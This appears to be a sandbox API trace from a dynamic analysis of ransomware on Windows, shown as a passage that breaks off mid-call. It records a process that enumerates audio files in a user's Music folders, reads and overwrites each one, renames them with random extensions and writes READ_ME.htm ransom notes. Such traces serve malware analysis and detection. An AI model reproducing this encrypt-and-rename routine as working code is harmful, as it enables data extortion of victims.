0x43 [0155.756] SetErrorMode (uMode=0x1) returned 0x0 [0155.756] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\_5hwa8db7rvreoj3u\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb6fa610, ftCreationTime.dwHighDateTime=0x1d8b41c, ftLastAccessTime.dwLowDateTime=0xe1c640c0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xe1c640c0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb6fa610, ftCreationTime.dwHighDateTime=0x1d8b41c, ftLastAccessTime.dwLowDateTime=0xe1c640c0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xe1c640c0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250a5cb0, ftCreationTime.dwHighDateTime=0x1d8bc19, ftLastAccessTime.dwLowDateTime=0x330239f0, ftLastAccessTime.dwHighDateTime=0x1d8bf5c, ftLastWriteTime.dwLowDateTime=0x330239f0, ftLastWriteTime.dwHighDateTime=0x1d8bf5c, nFileSizeHigh=0x0, nFileSizeLow=0x7dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="2CIZlUqIrVrUkau7.wav", cAlternateFileName="2CIZLU~1.WAV")) returned 1 [0155.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762b6640, ftCreationTime.dwHighDateTime=0x1d8b54b, ftLastAccessTime.dwLowDateTime=0xc736430, ftLastAccessTime.dwHighDateTime=0x1d8bed5, ftLastWriteTime.dwLowDateTime=0xc736430, ftLastWriteTime.dwHighDateTime=0x1d8bed5, nFileSizeHigh=0x0, nFileSizeLow=0x7046, dwReserved0=0x0, dwReserved1=0x0, cFileName="C5NIu8Do_.m4a", cAlternateFileName="C5NIU8~1.M4A")) returned 1 [0155.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83038ac0, ftCreationTime.dwHighDateTime=0x1d8c025, ftLastAccessTime.dwLowDateTime=0x86fa8780, ftLastAccessTime.dwHighDateTime=0x1d8c072, ftLastWriteTime.dwLowDateTime=0x86fa8780, ftLastWriteTime.dwHighDateTime=0x1d8c072, nFileSizeHigh=0x0, nFileSizeLow=0x187d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jWJm5piZe pa.wav", cAlternateFileName="JWJM5P~1.WAV")) returned 1 [0155.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd95e50, ftCreationTime.dwHighDateTime=0x1d8be01, ftLastAccessTime.dwLowDateTime=0x1c208580, ftLastAccessTime.dwHighDateTime=0x1d8c0fa, ftLastWriteTime.dwLowDateTime=0x1c208580, ftLastWriteTime.dwHighDateTime=0x1d8c0fa, nFileSizeHigh=0x0, nFileSizeLow=0x5287, dwReserved0=0x0, dwReserved1=0x0, cFileName="_U4_8ZnjbHK majBws0o.wav", cAlternateFileName="_U4_8Z~1.WAV")) returned 1 [0155.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd95e50, ftCreationTime.dwHighDateTime=0x1d8be01, ftLastAccessTime.dwLowDateTime=0x1c208580, ftLastAccessTime.dwHighDateTime=0x1d8c0fa, ftLastWriteTime.dwLowDateTime=0x1c208580, ftLastWriteTime.dwHighDateTime=0x1d8c0fa, nFileSizeHigh=0x0, nFileSizeLow=0x5287, dwReserved0=0x0, dwReserved1=0x0, cFileName="_U4_8ZnjbHK majBws0o.wav", cAlternateFileName="_U4_8Z~1.WAV")) returned 0 [0155.757] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.757] SetErrorMode (uMode=0x0) returned 0x1 [0155.757] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a", lpFilePart=0x0) returned 0x51 [0155.758] SetErrorMode (uMode=0x1) returned 0x0 [0155.758] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\_5hwa8db7rvreoj3u\\c5niu8do_.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.758] GetFileType (hFile=0x1d0) returned 0x1 [0155.758] SetErrorMode (uMode=0x0) returned 0x1 [0155.758] GetFileType (hFile=0x1d0) returned 0x1 [0155.758] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x7046 [0155.758] ReadFile (in: hFile=0x1d0, lpBuffer=0x2898c18, nNumberOfBytesToRead=0x7046, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2898c18*, lpNumberOfBytesRead=0x21d298*=0x7046, lpOverlapped=0x0) returned 1 [0155.777] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a", lpFilePart=0x0) returned 0x51 [0155.777] SetErrorMode (uMode=0x1) returned 0x0 [0155.777] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\_5hwa8db7rvreoj3u\\c5niu8do_.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.779] GetFileType (hFile=0x1d0) returned 0x1 [0155.779] SetErrorMode (uMode=0x0) returned 0x1 [0155.779] GetFileType (hFile=0x1d0) returned 0x1 [0155.779] WriteFile (in: hFile=0x1d0, lpBuffer=0x299bbc8*, nNumberOfBytesToWrite=0x7050, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x299bbc8*, lpNumberOfBytesWritten=0x21d318*=0x7050, lpOverlapped=0x0) returned 1 [0155.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a", lpFilePart=0x0) returned 0x51 [0155.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a.4m77na", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a.4m77na", lpFilePart=0x0) returned 0x58 [0155.781] SetErrorMode (uMode=0x1) returned 0x0 [0155.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\_5hwa8db7rvreoj3u\\c5niu8do_.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762b6640, ftCreationTime.dwHighDateTime=0x1d8b54b, ftLastAccessTime.dwLowDateTime=0xc736430, ftLastAccessTime.dwHighDateTime=0x1d8bed5, ftLastWriteTime.dwLowDateTime=0x59543120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7050)) returned 1 [0155.782] SetErrorMode (uMode=0x0) returned 0x1 [0155.782] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\_5hwa8db7rvreoj3u\\c5niu8do_.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\C5NIu8Do_.m4a.4m77na" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\_5hwa8db7rvreoj3u\\c5niu8do_.m4a.4m77na")) returned 1 [0155.783] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0155.783] SetErrorMode (uMode=0x1) returned 0x0 [0155.783] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\_5hwa8db7rvreoj3u\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.784] GetFileType (hFile=0x1d0) returned 0x1 [0155.784] SetErrorMode (uMode=0x0) returned 0x1 [0155.784] GetFileType (hFile=0x1d0) returned 0x1 [0155.784] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a6f18*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29a6f18*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0155.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\READ_ME.htm", lpFilePart=0x0) returned 0x3d [0155.802] SetErrorMode (uMode=0x1) returned 0x0 [0155.802] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.806] GetFileType (hFile=0x1d0) returned 0x1 [0155.807] SetErrorMode (uMode=0x0) returned 0x1 [0155.807] GetFileType (hFile=0x1d0) returned 0x1 [0155.807] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ab4d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29ab4d8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0155.808] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\READ_ME.htm", lpFilePart=0x0) returned 0x29 [0155.809] SetErrorMode (uMode=0x1) returned 0x0 [0155.809] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.809] GetFileType (hFile=0x1d0) returned 0x1 [0155.810] SetErrorMode (uMode=0x0) returned 0x1 [0155.810] GetFileType (hFile=0x1d0) returned 0x1 [0155.810] WriteFile (in: hFile=0x1d0, lpBuffer=0x29afa48*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29afa48*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0155.812] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H", lpFilePart=0x0) returned 0x29 [0155.812] SetErrorMode (uMode=0x1) returned 0x0 [0155.812] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\*" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a708a70, ftCreationTime.dwHighDateTime=0x1d8b435, ftLastAccessTime.dwLowDateTime=0x3e94ffc0, ftLastAccessTime.dwHighDateTime=0x1d8ba28, ftLastWriteTime.dwLowDateTime=0x3e94ffc0, ftLastWriteTime.dwHighDateTime=0x1d8ba28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.812] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a708a70, ftCreationTime.dwHighDateTime=0x1d8b435, ftLastAccessTime.dwLowDateTime=0x3e94ffc0, ftLastAccessTime.dwHighDateTime=0x1d8ba28, ftLastWriteTime.dwLowDateTime=0x3e94ffc0, ftLastWriteTime.dwHighDateTime=0x1d8ba28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.813] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a99c560, ftCreationTime.dwHighDateTime=0x1d8bf00, ftLastAccessTime.dwLowDateTime=0x5ec38250, ftLastAccessTime.dwHighDateTime=0x1d8c0e3, ftLastWriteTime.dwLowDateTime=0x5ec38250, ftLastWriteTime.dwHighDateTime=0x1d8c0e3, nFileSizeHigh=0x0, nFileSizeLow=0x17114, dwReserved0=0x0, dwReserved1=0x0, cFileName="2KcT02McQ-LKwXH.m4a", cAlternateFileName="2KCT02~1.M4A")) returned 1 [0155.813] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41434bd0, ftCreationTime.dwHighDateTime=0x1d8b1a1, ftLastAccessTime.dwLowDateTime=0xf7baa250, ftLastAccessTime.dwHighDateTime=0x1d8b3d1, ftLastWriteTime.dwLowDateTime=0xf7baa250, ftLastWriteTime.dwHighDateTime=0x1d8b3d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3WvCbF", cAlternateFileName="")) returned 1 [0155.813] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41434bd0, ftCreationTime.dwHighDateTime=0x1d8b1a1, ftLastAccessTime.dwLowDateTime=0xf7baa250, ftLastAccessTime.dwHighDateTime=0x1d8b3d1, ftLastWriteTime.dwLowDateTime=0xf7baa250, ftLastWriteTime.dwHighDateTime=0x1d8b3d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3WvCbF", cAlternateFileName="")) returned 0 [0155.813] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.813] SetErrorMode (uMode=0x0) returned 0x1 [0155.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H", lpFilePart=0x0) returned 0x29 [0155.814] SetErrorMode (uMode=0x1) returned 0x0 [0155.814] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\*" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a708a70, ftCreationTime.dwHighDateTime=0x1d8b435, ftLastAccessTime.dwLowDateTime=0x3e94ffc0, ftLastAccessTime.dwHighDateTime=0x1d8ba28, ftLastWriteTime.dwLowDateTime=0x3e94ffc0, ftLastWriteTime.dwHighDateTime=0x1d8ba28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.814] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a708a70, ftCreationTime.dwHighDateTime=0x1d8b435, ftLastAccessTime.dwLowDateTime=0x3e94ffc0, ftLastAccessTime.dwHighDateTime=0x1d8ba28, ftLastWriteTime.dwLowDateTime=0x3e94ffc0, ftLastWriteTime.dwHighDateTime=0x1d8ba28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.814] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a99c560, ftCreationTime.dwHighDateTime=0x1d8bf00, ftLastAccessTime.dwLowDateTime=0x5ec38250, ftLastAccessTime.dwHighDateTime=0x1d8c0e3, ftLastWriteTime.dwLowDateTime=0x5ec38250, ftLastWriteTime.dwHighDateTime=0x1d8c0e3, nFileSizeHigh=0x0, nFileSizeLow=0x17114, dwReserved0=0x0, dwReserved1=0x0, cFileName="2KcT02McQ-LKwXH.m4a", cAlternateFileName="2KCT02~1.M4A")) returned 1 [0155.814] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41434bd0, ftCreationTime.dwHighDateTime=0x1d8b1a1, ftLastAccessTime.dwLowDateTime=0xf7baa250, ftLastAccessTime.dwHighDateTime=0x1d8b3d1, ftLastWriteTime.dwLowDateTime=0xf7baa250, ftLastWriteTime.dwHighDateTime=0x1d8b3d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3WvCbF", cAlternateFileName="")) returned 1 [0155.815] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41434bd0, ftCreationTime.dwHighDateTime=0x1d8b1a1, ftLastAccessTime.dwLowDateTime=0xf7baa250, ftLastAccessTime.dwHighDateTime=0x1d8b3d1, ftLastWriteTime.dwLowDateTime=0xf7baa250, ftLastWriteTime.dwHighDateTime=0x1d8b3d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3WvCbF", cAlternateFileName="")) returned 0 [0155.815] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.815] SetErrorMode (uMode=0x0) returned 0x1 [0155.815] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a", lpFilePart=0x0) returned 0x3d [0155.815] SetErrorMode (uMode=0x1) returned 0x0 [0155.815] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\2kct02mcq-lkwxh.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.816] GetFileType (hFile=0x1d0) returned 0x1 [0155.816] SetErrorMode (uMode=0x0) returned 0x1 [0155.816] GetFileType (hFile=0x1d0) returned 0x1 [0155.816] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x17114 [0155.817] ReadFile (in: hFile=0x1d0, lpBuffer=0x1288ab28, nNumberOfBytesToRead=0x17114, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x1288ab28*, lpNumberOfBytesRead=0x21d418*=0x17114, lpOverlapped=0x0) returned 1 [0155.899] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a", lpFilePart=0x0) returned 0x3d [0155.899] SetErrorMode (uMode=0x1) returned 0x0 [0155.900] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\2kct02mcq-lkwxh.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.902] GetFileType (hFile=0x1d0) returned 0x1 [0155.902] SetErrorMode (uMode=0x0) returned 0x1 [0155.902] GetFileType (hFile=0x1d0) returned 0x1 [0155.902] WriteFile (in: hFile=0x1d0, lpBuffer=0x128fe140*, nNumberOfBytesToWrite=0x17120, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x128fe140*, lpNumberOfBytesWritten=0x21d498*=0x17120, lpOverlapped=0x0) returned 1 [0155.905] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a", lpFilePart=0x0) returned 0x3d [0155.905] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a.v1unnn", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a.v1unnn", lpFilePart=0x0) returned 0x44 [0155.906] SetErrorMode (uMode=0x1) returned 0x0 [0155.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\2kct02mcq-lkwxh.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a99c560, ftCreationTime.dwHighDateTime=0x1d8bf00, ftLastAccessTime.dwLowDateTime=0x5ec38250, ftLastAccessTime.dwHighDateTime=0x1d8c0e3, ftLastWriteTime.dwLowDateTime=0x59673c20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x17120)) returned 1 [0155.906] SetErrorMode (uMode=0x0) returned 0x1 [0155.906] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\2kct02mcq-lkwxh.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\2KcT02McQ-LKwXH.m4a.v1unnn" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\2kct02mcq-lkwxh.m4a.v1unnn")) returned 1 [0155.911] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF", lpFilePart=0x0) returned 0x30 [0155.911] SetErrorMode (uMode=0x1) returned 0x0 [0155.911] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\fXs7dyEh5KRVvZ0H\\3WvCbF\\*" (normalized: "c:\\users\\keecfmwgj\\music\\fxs7dyeh5krvvz0h\\3wvcbf\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41434bd0, ftCreationTime.dwHighDateTime=0x1d8b1a1, ftLastAccessTime.dwLowDateTime=0xf7baa250, ftLastAccessTime.dwHighDateTime=0x1d8b3d1, ftLastWriteTime.dwLowDateTime=0xf7baa250, ftLastWriteTime.dwHighDateTime=0x1d8b3d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.912] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41434bd0, ftCreationTime.dwHighDateTime=0x1d8b1a1, ftLastAccessTime.dwLowDateTime=0xf7baa250, 